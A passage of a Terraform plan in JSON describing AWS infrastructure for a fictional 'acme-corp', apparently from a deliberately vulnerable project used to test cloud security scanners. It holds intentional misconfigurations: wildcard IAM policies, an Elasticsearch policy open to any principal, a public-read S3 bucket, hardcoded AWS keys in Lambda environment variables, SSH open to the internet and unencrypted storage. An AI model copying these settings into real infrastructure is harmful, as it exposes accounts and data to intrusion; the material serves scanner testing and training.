"aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSClusterPolicy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "policy_arn": "arn:aws:iam::aws:policy/AmazonEKSClusterPolicy", "role": "123456789123-acme-corp-iam-for-eks" }, "after_unknown": { "id": true } } }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy", "mode": "managed", "type": "aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSServicePolicy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "policy_arn": "arn:aws:iam::aws:policy/AmazonEKSServicePolicy", "role": "123456789123-acme-corp-iam-for-eks" }, "after_unknown": { "id": true } } }, { "address": "aws_iam_user.user", "mode": "managed", "type": "aws_iam_user", "name": "user", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "force_destroy": true, "name": "123456789123-acme-corp-user", "path": "/", "permissions_boundary": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-user" } }, "after_unknown": { "arn": true, "id": true, "tags": {}, "unique_id": true } } }, { "address": "aws_iam_user_policy.userpolicy", "mode": "managed", "type": "aws_iam_user_policy", "name": "userpolicy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "name": "excess_policy", "name_prefix": null, "policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"ec2:*\",\n \"s3:*\",\n \"lambda:*\",\n \"cloudwatch:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n", "user": "123456789123-acme-corp-user" }, "after_unknown": { "id": true } } }, { "address": "aws_instance.db_app", "mode": "managed", "type": "aws_instance", "name": "db_app", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "ami": "ami-0f0a6d00932023856", "credit_specification": [], "disable_api_termination": null, "ebs_optimized": null, "get_password_data": false, "hibernation": null, "iam_instance_profile": "123456789123-acme-corp-profile", "instance_initiated_shutdown_behavior": null, "instance_type": "t2.nano", "monitoring": null, "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-dbapp" }, "timeouts": null, "user_data_base64": null }, "after_unknown": { "arn": true, "associate_public_ip_address": true, "availability_zone": true, "cpu_core_count": true, "cpu_threads_per_core": true, "credit_specification": [], "ebs_block_device": true, "ephemeral_block_device": true, "host_id": true, "id": true, "instance_state": true, "ipv6_address_count": true, "ipv6_addresses": true, "key_name": true, "metadata_options": true, "network_interface": true, "outpost_arn": true, "password_data": true, "placement_group": true, "primary_network_interface_id": true, "private_dns": true, "private_ip": true, "public_dns": true, "public_ip": true, "root_block_device": true, "secondary_private_ips": true, "security_groups": true, "subnet_id": true, "tags": {}, "tenancy": true, "user_data": true, "volume_tags": true, "vpc_security_group_ids": true } } }, { "address": "aws_instance.web_host", "mode": "managed", "type": "aws_instance", "name": "web_host", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "ami": "ami-09a5b0b7edf08843d", "credit_specification": [], "disable_api_termination": null, "ebs_optimized": null, "get_password_data": false, "hibernation": null, "iam_instance_profile": null, "instance_initiated_shutdown_behavior": null, "instance_type": "t2.nano", "monitoring": null, "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-ec2" }, "timeouts": null, "user_data": "44c6c808e6449ee36dfcfc4ebd66c1b9634b40f2", "user_data_base64": null }, "after_unknown": { "arn": true, "associate_public_ip_address": true, "availability_zone": true, "cpu_core_count": true, "cpu_threads_per_core": true, "credit_specification": [], "ebs_block_device": true, "ephemeral_block_device": true, "host_id": true, "id": true, "instance_state": true, "ipv6_address_count": true, "ipv6_addresses": true, "key_name": true, "metadata_options": true, "network_interface": true, "outpost_arn": true, "password_data": true, "placement_group": true, "primary_network_interface_id": true, "private_dns": true, "private_ip": true, "public_dns": true, "public_ip": true, "root_block_device": true, "secondary_private_ips": true, "security_groups": true, "subnet_id": true, "tags": {}, "tenancy": true, "volume_tags": true, "vpc_security_group_ids": true } } }, { "address": "aws_internet_gateway.web_igw", "mode": "managed", "type": "aws_internet_gateway", "name": "web_igw", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "tags": { "Name": "123456789123-acme-corp-igw" } }, "after_unknown": { "arn": true, "id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_kms_alias.logs_key_alias", "mode": "managed", "type": "aws_kms_alias", "name": "logs_key_alias", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "name": "alias/123456789123-acme-corp-logs-bucket-key", "name_prefix": null }, "after_unknown": { "arn": true, "id": true, "target_key_arn": true, "target_key_id": true } } }, { "address": "aws_kms_key.logs_key", "mode": "managed", "type": "aws_kms_key", "name": "logs_key", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "customer_master_key_spec": "SYMMETRIC_DEFAULT", "deletion_window_in_days": 7, "description": "123456789123-acme-corp-logs bucket key", "enable_key_rotation": false, "is_enabled": true, "key_usage": "ENCRYPT_DECRYPT", "tags": null }, "after_unknown": { "arn": true, "id": true, "key_id": true, "policy": true } } }, { "address": "aws_lambda_function.analysis_lambda", "mode": "managed", "type": "aws_lambda_function", "name": "analysis_lambda", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "dead_letter_config": [], "description": null, "environment": [ { "variables": { "access_key": "AKIAIOSFODNN7EXAMPLE", "secret_key": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" } } ], "file_system_config": [], "filename": "resources/lambda_function_payload.zip", "function_name": "123456789123-acme-corp-analysis", "handler": "exports.test", "kms_key_arn": null, "layers": null, "memory_size": 128, "publish": false, "reserved_concurrent_executions": -1, "runtime": "nodejs12.x", "s3_bucket": null, "s3_key": null, "s3_object_version": null, "source_code_hash": "Fne61Y/F2pmVywaVqIYcztFMK3LNeMJKpWFNnxDdGTw=", "tags": null, "timeout": 3, "timeouts": null, "vpc_config": [] }, "after_unknown": { "arn": true, "dead_letter_config": [], "environment": [ { "variables": {} } ], "file_system_config": [], "id": true, "invoke_arn": true, "last_modified": true, "qualified_arn": true, "role": true, "source_code_size": true, "tracing_config": true, "version": true, "vpc_config": [] } } }, { "address": "aws_neptune_cluster.default", "mode": "managed", "type": "aws_neptune_cluster", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "apply_immediately": true, "backup_retention_period": 5, "cluster_identifier": "neptunedb1", "deletion_protection": null, "enable_cloudwatch_logs_exports": null, "engine": "neptune", "final_snapshot_identifier": null, "iam_database_authentication_enabled": false, "iam_roles": null, "neptune_cluster_parameter_group_name": "default.neptune1", "port": 8182, "preferred_backup_window": "07:00-09:00", "replication_source_identifier": null, "skip_final_snapshot": true, "snapshot_identifier": null, "storage_encrypted": false, "tags": null, "timeouts": null }, "after_unknown": { "arn": true, "availability_zones": true, "cluster_identifier_prefix": true, "cluster_members": true, "cluster_resource_id": true, "endpoint": true, "engine_version": true, "hosted_zone_id": true, "id": true, "kms_key_arn": true, "neptune_subnet_group_name": true, "preferred_maintenance_window": true, "reader_endpoint": true, "vpc_security_group_ids": true } } }, { "address": "aws_neptune_cluster_instance.default[0]", "mode": "managed", "type": "aws_neptune_cluster_instance", "name": "default", "index": 0, "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "apply_immediately": true, "auto_minor_version_upgrade": true, "engine": "neptune", "instance_class": "db.t3.medium", "neptune_parameter_group_name": "default.neptune1", "port": 8182, "promotion_tier": 0, "publicly_accessible": false, "tags": null, "timeouts": null }, "after_unknown": { "address": true, "arn": true, "availability_zone": true, "cluster_identifier": true, "dbi_resource_id": true, "endpoint": true, "engine_version": true, "id": true, "identifier": true, "identifier_prefix": true, "kms_key_arn": true, "neptune_subnet_group_name": true, "preferred_backup_window": true, "preferred_maintenance_window": true, "storage_encrypted": true, "writer": true } } }, { "address": "aws_neptune_cluster_snapshot.default", "mode": "managed", "type": "aws_neptune_cluster_snapshot", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "db_cluster_snapshot_identifier": "resourcetestsnapshot1", "timeouts": null }, "after_unknown": { "allocated_storage": true, "availability_zones": true, "db_cluster_identifier": true, "db_cluster_snapshot_arn": true, "engine": true, "engine_version": true, "id": true, "kms_key_id": true, "license_model": true, "port": true, "snapshot_type": true, "source_db_cluster_snapshot_arn": true, "status": true, "storage_encrypted": true, "vpc_id": true } } }, { "address": "aws_network_interface.web-eni", "mode": "managed", "type": "aws_network_interface", "name": "web-eni", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": null, "private_ips": [ "172.16.10.100" ], "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-primary_network_interface" } }, "after_unknown": { "attachment": true, "id": true, "ipv6_address_count": true, "ipv6_addresses": true, "mac_address": true, "outpost_arn": true, "private_dns_name": true, "private_ip": true, "private_ips": [ false ], "private_ips_count": true, "security_groups": true, "subnet_id": true, "tags": {} } } }, { "address": "aws_route.public_internet_gateway", "mode": "managed", "type": "aws_route", "name": "public_internet_gateway", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "destination_cidr_block": "0.0.0.0/0", "destination_ipv6_cidr_block": null, "timeouts": { "create": "5m", "delete": null }, "transit_gateway_id": null, "vpc_peering_connection_id": null }, "after_unknown": { "destination_prefix_list_id": true, "egress_only_gateway_id": true, "gateway_id": true, "id": true, "instance_id": true, "instance_owner_id": true, "local_gateway_id": true, "nat_gateway_id": true, "network_interface_id": true, "origin": true, "route_table_id": true, "state": true, "timeouts": {} } } }, { "address": "aws_route_table.web_rtb", "mode": "managed", "type": "aws_route_table", "name": "web_rtb", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "tags": { "Name": "123456789123-acme-corp-rtb" } }, "after_unknown": { "id": true, "owner_id": true, "propagating_vgws": true, "route": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_route_table_association.rtbassoc", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "gateway_id": null }, "after_unknown": { "id": true, "route_table_id": true, "subnet_id": true } } }, { "address": "aws_route_table_association.rtbassoc2", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc2", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "gateway_id": null }, "after_unknown": { "id": true, "route_table_id": true, "subnet_id": true } } }, { "address": "aws_s3_bucket.data", "mode": "managed", "type": "aws_s3_bucket", "name": "data", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "public-read", "bucket": "123456789123-acme-corp-data", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-data" }, "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "tags": {}, "versioning": true, "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.data_science", "mode": "managed", "type": "aws_s3_bucket", "name": "data_science", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "bucket": "123456789123-acme-corp-data-science", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [ { "target_prefix": "log/" } ], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": null, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [ { "target_bucket": true } ], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "versioning": [ {} ], "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.financials", "mode": "managed", "type": "aws_s3_bucket", "name": "financials", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "bucket": "123456789123-acme-corp-financials", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-financials" }, "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "tags": {}, "versioning": true, "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.flowbucket", "mode": "managed", "type": "aws_s3_bucket", "name": "flowbucket", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "bucket": "123456789123-acme-corp-flowlogs", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-flowlogs" }, "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "tags": {}, "versioning": true, "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.logs", "mode": "managed", "type": "aws_s3_bucket", "name": "logs", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "log-delivery-write", "bucket": "123456789123-acme-corp-logs", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [ { "rule": [ { "apply_server_side_encryption_by_default": [ { "sse_algorithm": "aws:kms" } ] } ] } ], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-logs" }, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [ { "rule": [ { "apply_server_side_encryption_by_default": [ { "kms_master_key_id": true } ] } ] } ], "tags": {}, "versioning": [ {} ], "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.operations", "mode": "managed", "type": "aws_s3_bucket", "name": "operations", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "bucket": "123456789123-acme-corp-operations", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-operations" }, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "tags": {}, "versioning": [ {} ], "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket_object.data_object", "mode": "managed", "type": "aws_s3_bucket_object", "name": "data_object", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "cache_control": null, "content": null, "content_base64": null, "content_disposition": null, "content_encoding": null, "content_language": null, "force_destroy": false, "key": "customer-master.xlsx", "metadata": null, "object_lock_legal_hold_status": null, "object_lock_mode": null, "object_lock_retain_until_date": null, "source": "resources/customer-master.xlsx", "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-customer-master" }, "website_redirect": null }, "after_unknown": { "bucket": true, "content_type": true, "etag": true, "id": true, "kms_key_id": true, "server_side_encryption": true, "storage_class": true, "tags": {}, "version_id": true } } }, { "address": "aws_security_group.default", "mode": "managed", "type": "aws_security_group", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "Managed by Terraform", "name": "123456789123-acme-corp-rds-sg", "name_prefix": null, "revoke_rules_on_delete": false, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-rds-sg" }, "timeouts": null }, "after_unknown": { "arn": true, "egress": true, "id": true, "ingress": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_security_group.web-node", "mode": "managed", "type": "aws_security_group", "name": "web-node", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "123456789123-acme-corp Security Group", "egress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 0, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "-1", "security_groups": [], "self": false, "to_port": 0 } ], "ingress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 22, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "tcp", "security_groups": [], "self": false, "to_port": 22 }, { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 80, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "tcp", "security_groups": [], "self": false, "to_port": 80 } ], "name": "123456789123-acme-corp-sg", "name_prefix": null, "revoke_rules_on_delete": false, "tags": null, "timeouts": null }, "after_unknown": { "arn": true, "egress": [ { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] } ], "id": true, "ingress": [ { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] }, { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] } ], "owner_id": true, "vpc_id": true } } }, { "address": "aws_security_group_rule.egress", "mode": "managed", "type": "aws_security_group_rule", "name": "egress", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "cidr_blocks": [ "0.0.0.0/0" ], "description": null, "from_port": 0, "ipv6_cidr_blocks": null, "prefix_list_ids": null, "protocol": "-1", "self": false, "to_port": 0, "type": "egress" }, "after_unknown": { "cidr_blocks": [ false ], "id": true, "security_group_id": true, "source_security_group_id": true } } }, { "address": "aws_security_group_rule.ingress", "mode": "managed", "type": "aws_security_group_rule", "name": "ingress", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "cidr_blocks": [ "172.16.0.0/16" ], "description": null, "from_port": 3306, "ipv6_cidr_blocks": null, "prefix_list_ids": null, "protocol": "tcp", "self": false, "to_port": 3306, "type": "ingress" }, "after_unknown": { "cidr_blocks": [ false ], "id": true, "security_group_id": true, "source_security_group_id": true } } }, { "address": "aws_subnet.eks_subnet1", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet1", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2a", "cidr_block": "10.10.10.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-eks-subnet", "kubernetes.io/cluster/123456789123-acme-corp-eks": "shared" }, "timeouts": null }, "after_unknown": { "arn": true, "availability_zone_id": true, "id": true, "ipv6_cidr_block_association_id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_subnet.eks_subnet2", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet2", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2b", "cidr_block": "10.10.11.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-eks-subnet2", "kubernetes.io/cluster/123456789123-acme-corp-eks": "shared" }, "timeouts": null }, "after_unknown": { "arn": true, "availability_zone_id": true, "id": true, "ipv6_cidr_block_association_id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_subnet.web_subnet", "mode": "managed", "type": "aws_subnet", "name": "web_subnet", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2a", "cidr_block": "172.16.10.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-subnet" }, "timeouts": null }, "after_unknown": { "arn": true, "availability_zone_id": true, "id": true, "ipv6_cidr_block_association_id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_subnet.web_subnet2", "mode": "managed", "type": "aws_subnet", "name": "web_subnet2", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2b", "cidr_block": "172.16.11.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-subnet2" }, "timeouts": null }, "after_unknown": { "arn": true, "availability_zone_id": true, "id": true, "ipv6_cidr_block_association_id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_volume_attachment.ebs_att", "mode": "managed", "type": "aws_volume_attachment", "name": "ebs_att", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "device_name": "/dev/sdh", "force_detach": null, "skip_destroy": null }, "after_unknown": { "id": true, "instance_id": true, "volume_id": true } } }, { "address": "aws_vpc.eks_vpc", "mode": "managed", "type": "aws_vpc", "name": "eks_vpc", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_generated_ipv6_cidr_block": false, "cidr_block": "10.10.0.0/16", "enable_dns_hostnames": true, "enable_dns_support": true, "instance_tenancy": "default", "tags": { "Name": "123456789123-acme-corp-eks-vpc" } }, "after_unknown": { "arn": true, "default_network_acl_id": true, "default_route_table_id": true, "default_security_group_id": true, "dhcp_options_id": true, "enable_classiclink": true, "enable_classiclink_dns_support": true, "id": true, "ipv6_association_id": true, "ipv6_cidr_block": true, "main_route_table_id": true, "owner_id": true, "tags": {} } } }, { "address": "aws_vpc.web_vpc", "mode": "managed", "type": "aws_vpc", "name": "web_vpc", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_generated_ipv6_cidr_block": false, "cidr_block": "172.16.0.0/16", "enable_dns_hostnames": true, "enable_dns_support": true, "instance_tenancy": "default", "tags": { "Name": "123456789123-acme-corp-vpc" } }, "after_unknown": { "arn": true, "default_network_acl_id": true, "default_route_table_id": true, "default_security_group_id": true, "dhcp_options_id": true, "enable_classiclink": true, "enable_classiclink_dns_support": true, "id": true, "ipv6_association_id": true, "ipv6_cidr_block": true, "main_route_table_id": true, "owner_id": true, "tags": {} } } }, { "address": "null_resource.push_image", "mode": "managed", "type": "null_resource", "name": "push_image", "provider_name": "null", "change": { "actions": [ "create" ], "before": null, "after": { "triggers": null }, "after_unknown": { "id": true } } } ], "output_changes": { "db_app_public_dns": { "actions": [ "create" ], "before": null, "after_unknown": true }, "db_endpoint": { "actions": [ "create" ], "before": null, "after_unknown": true }, "ec2_public_dns": { "actions": [ "create" ], "before": null, "after_unknown": true }, "endpoint": { "actions": [ "create" ], "before": null, "after_unknown": true }, "kubeconfig-certificate-authority-data": { "actions": [ "create" ], "before": null, "after_unknown": true }, "public_subnet": { "actions": [ "create" ], "before": null, "after_unknown": true }, "public_subnet2": { "actions": [ "create" ], "before": null, "after_unknown": true }, "secret": { "actions": [ "create" ], "before": null, "after_unknown": true }, "username": { "actions": [ "create" ], "before": null, "after": "123456789123-acme-corp-user", "after_unknown": false }, "vpc_id": { "actions": [ "create" ], "before": null, "after_unknown": true } }, "prior_state": { "format_version": "0.1", "terraform_version": "0.12.23", "values": { "root_module": { "resources": [ { "address": "data.aws_ami.amazon-linux-2", "mode": "data", "type": "aws_ami", "name": "amazon-linux-2", "provider_name": "aws", "schema_version": 0, "values": { "architecture": "x86_64", "arn": "arn:aws:ec2:us-west-2::image/ami-0f0a6d00932023856", "block_device_mappings": [ { "device_name": "/dev/xvda", "ebs": { "delete_on_termination": "true", "encrypted": "false", "iops": "0", "snapshot_id": "snap-06c1606ba5ca274b1", "volume_size": "8", "volume_type": "standard" }, "no_device": "", "virtual_name": "" } ], "creation_date": "2020-09-22T02:09:24.000Z", "description": "Amazon Linux 2 AMI 2.0.20200917.0 x86_64 HVM ebs", "executable_users": null, "filter": [ { "name": "name", "values": [ "amzn2-ami-hvm-*-x86_64-ebs" ] }, { "name": "owner-alias", "values": [ "amazon" ] } ], "hypervisor": "xen", "id": "ami-0f0a6d00932023856", "image_id": "ami-0f0a6d00932023856", "image_location": "amazon/amzn2-ami-hvm-2.0.20200917.0-x86_64-ebs", "image_owner_alias": "amazon", "image_type": "machine", "kernel_id": null, "most_recent": true, "name": "amzn2-ami-hvm-2.0.20200917.0-x86_64-ebs", "name_regex": null, "owner_id": "137112412989", "owners": [ "amazon" ], "platform": null, "product_codes": [], "public": true, "ramdisk_id": null, "root_device_name": "/dev/xvda", "root_device_type": "ebs", "root_snapshot_id": "snap-06c1606ba5ca274b1", "sriov_net_support": "simple", "state": "available", "state_reason": { "code": "UNSET", "message": "UNSET" }, "tags": {}, "virtualization_type": "hvm" } }, { "address": "data.aws_caller_identity.current", "mode": "data", "type": "aws_caller_identity", "name": "current", "provider_name": "aws", "schema_version": 0, "values": { "account_id": "123456789123", "arn": "arn:aws:iam::123456789123:user/barak@bridgecrew.io", "id": "123456789123", "user_id": "AIDA2MPWNTLGWKZRRDYTT" } }, { "address": "data.aws_iam_policy_document.iam_policy_eks", "mode": "data", "type": "aws_iam_policy_document", "name": "iam_policy_eks", "provider_name": "aws", "schema_version": 0, "values": { "id": "189502314", "json": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"eks.amazonaws.com\"\n }\n }\n ]\n}", "override_json": null, "policy_id": null, "source_json": null, "statement": [ { "actions": [ "sts:AssumeRole" ], "condition": [], "effect": "Allow", "not_actions": [], "not_principals": [], "not_resources": [], "principals": [ { "identifiers": [ "eks.amazonaws.com" ], "type": "Service" } ], "resources": [], "sid": "" } ], "version": "2012-10-17" } }, { "address": "data.aws_iam_policy_document.policy", "mode": "data", "type": "aws_iam_policy_document", "name": "policy", "provider_name": "aws", "schema_version": 0, "values": { "id": "3931805674", "json": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"es:*\",\n \"Resource\": \"*\",\n \"Principal\": {\n \"AWS\": \"*\"\n }\n }\n ]\n}", "override_json": null, "policy_id": null, "source_json": null, "statement": [ { "actions": [ "es:*" ], "condition": [], "effect": "Allow", "not_actions": [], "not_principals": [], "not_resources": [], "principals": [ { "identifiers": [ "*" ], "type": "AWS" } ], "resources": [ "*" ], "sid": "" } ], "version": "2012-10-17" } } ] } } }, "configuration": { "provider_config": { "aws": { "name": "aws", "expressions": { "profile": { "constant_value": "acme3" }, "region": { "constant_value": "us-west-2" } } } }, "root_module": { "outputs": { "db_app_public_dns": { "expression": { "references": [ "aws_instance.db_app" ] }, "description": "DB Public DNS name" }, "db_endpoint": { "expression": { "references": [ "aws_db_instance.default" ] }, "description": "DB Endpoint" }, "ec2_public_dns": { "expression": { "references": [ "aws_instance.web_host" ] }, "description": "Web Host Public DNS name" }, "endpoint": { "expression": { "references": [ "aws_eks_cluster.eks_cluster" ] } }, "kubeconfig-certificate-authority-data": { "expression": { "references": [ "aws_eks_cluster.eks_cluster" ] } }, "public_subnet": { "expression": { "references": [ "aws_subnet.web_subnet" ] }, "description": "The ID of the Public subnet" }, "public_subnet2": { "expression": { "references": [ "aws_subnet.web_subnet2" ] }, "description": "The ID of the Public subnet" }, "secret": { "expression": { "references": [ "aws_iam_access_key.user" ] } }, "username": { "expression": { "references": [ "aws_iam_user.user" ] } }, "vpc_id": { "expression": { "references": [ "aws_vpc.web_vpc" ] }, "description": "The ID of the VPC" } }, "resources": [ { "address": "aws_db_instance.default", "mode": "managed", "type": "aws_db_instance", "name": "default", "provider_config_key": "aws", "expressions": { "allocated_storage": { "constant_value": "20" }, "apply_immediately": { "constant_value": true }, "backup_retention_period": { "constant_value": 0 }, "db_subnet_group_name": { "references": [ "aws_db_subnet_group.default" ] }, "engine": { "constant_value": "mysql" }, "engine_version": { "constant_value": "8.0" }, "identifier": { "references": [ "local.resource_prefix" ] }, "instance_class": { "constant_value": "db.t3.micro" }, "monitoring_interval": { "constant_value": 0 }, "multi_az": { "constant_value": false }, "name": { "references": [ "var.dbname" ] }, "option_group_name": { "references": [ "aws_db_option_group.default" ] }, "parameter_group_name": { "references": [ "aws_db_parameter_group.default" ] }, "password": { "references": [ "var.password" ] }, 